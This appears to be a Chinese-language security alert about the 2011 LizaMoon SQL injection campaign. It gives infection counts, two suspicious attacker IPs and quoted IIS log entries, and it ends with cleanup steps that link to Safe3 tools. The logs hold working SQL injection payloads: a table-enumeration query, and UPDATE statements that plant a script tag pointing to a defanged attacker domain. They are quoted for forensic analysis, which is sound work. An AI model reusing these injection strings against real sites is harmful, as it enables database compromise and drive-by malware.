國外安全廠商Websense最近發布警報稱，一種名為“麗莎月亮（英文名：LizaMoon）”的SQL注入式駭客攻擊正在席捲全球。短短數日內，受攻擊的網頁數量已迅猛增長到1030000個（截至4月2日10點），外媒報道稱其“勢如海嘯爆發”，就連蘋果等知名公司的網站也名列其中。同時，遭到“麗莎月亮”影響的中文網頁數量也已達到46800個。
- 幾個可疑IP: 95.64.9.18(來自羅馬尼亞), 91.217.162.45(來自烏克蘭，著名的邪惡網路)
- 網友提供珍貴的IISLog(進行入侵鑒識時，這是超重要的線索)
2011-03-11 16:34:45 W3SVC1746246233 *MYSERVERIP* GET /dir/linkdetail.aspx id=11011+or+1=(SELECT+TOP+1+TABLE_NAME+FROM+INFORMATION_SCHEMA.TABLES+where+TABLE_NAME+not+in+(SELECT+TOP+0+TABLE_NAME+FROM+INFORMATION_SCHEMA.TABLES))-- 80 - 91.217.162.45 Mozilla/5.0+(Windows;+U;+Windows+NT+5.0;+en-US;+rv:1.4)+Gecko/20030624+Netscape/7.1+(ax) 500 0 0
Doc.asp?id=PU12731+update+gCategoriasHistoricoTiposDescripciones+set+Descripcion=REPLACE(cast(Descripcion+as+varchar(8000)),cast(char(60)%2Bchar(47)%2Bchar(116)%2Bchar(105) ....省略, 用CHR(nn)一個字元一個字元組出</title><script src=httq:// lazemoon .com / ur . php></script>…%2Bchar(116)%2Bchar(62)+as+varchar(8000)),cast(char(32)+as+varchar(8)))-- - 95.64.9.18 Mozilla/5.0+(Windows;+U;+Windows+NT+5.0;+en-US;+rv:1.4)+Gecko/20030624+Netscape/7.1+(ax) - 302 498
2011-03-29 17:56:49 <<my server ip address>> GET /<<pagename>>.asp prod=MG0011'+update+tblMembers+set+Forename=REPLACE(cast(Forename+as+varchar(8000)),cast(char(60)%2Bchar(47)%2Bchar(116)%2Bchar(105) ....省略, 用CHR(nn)一個字元一個字元組出</title><script src=httq:// lazemoon .com / ur . php></script>… %2Bchar(116)%2Bchar(62)+as+varchar(8000)),cast(char(32)+as+varchar(8)))-- 80 - 95.64.9.18 HTTP/1.1 Mozilla/5.0+(Windows;+U;+Windows+NT+5.0;+en-US;+rv:1.4)+Gecko/20030624+Netscape/7.1+(ax)
解決方案
1.下載web殺毒軟體，地址http://www.safe3.com.cn/works/884981847/view.aspx，使用掛馬清除功能清除資料庫中掛馬欄位資料。
2.下載並安裝Safe3 Web Application Firewall保護網站，地址http://www.safe3.com.cn/works/271360615/view.aspx。
3.大功告成。
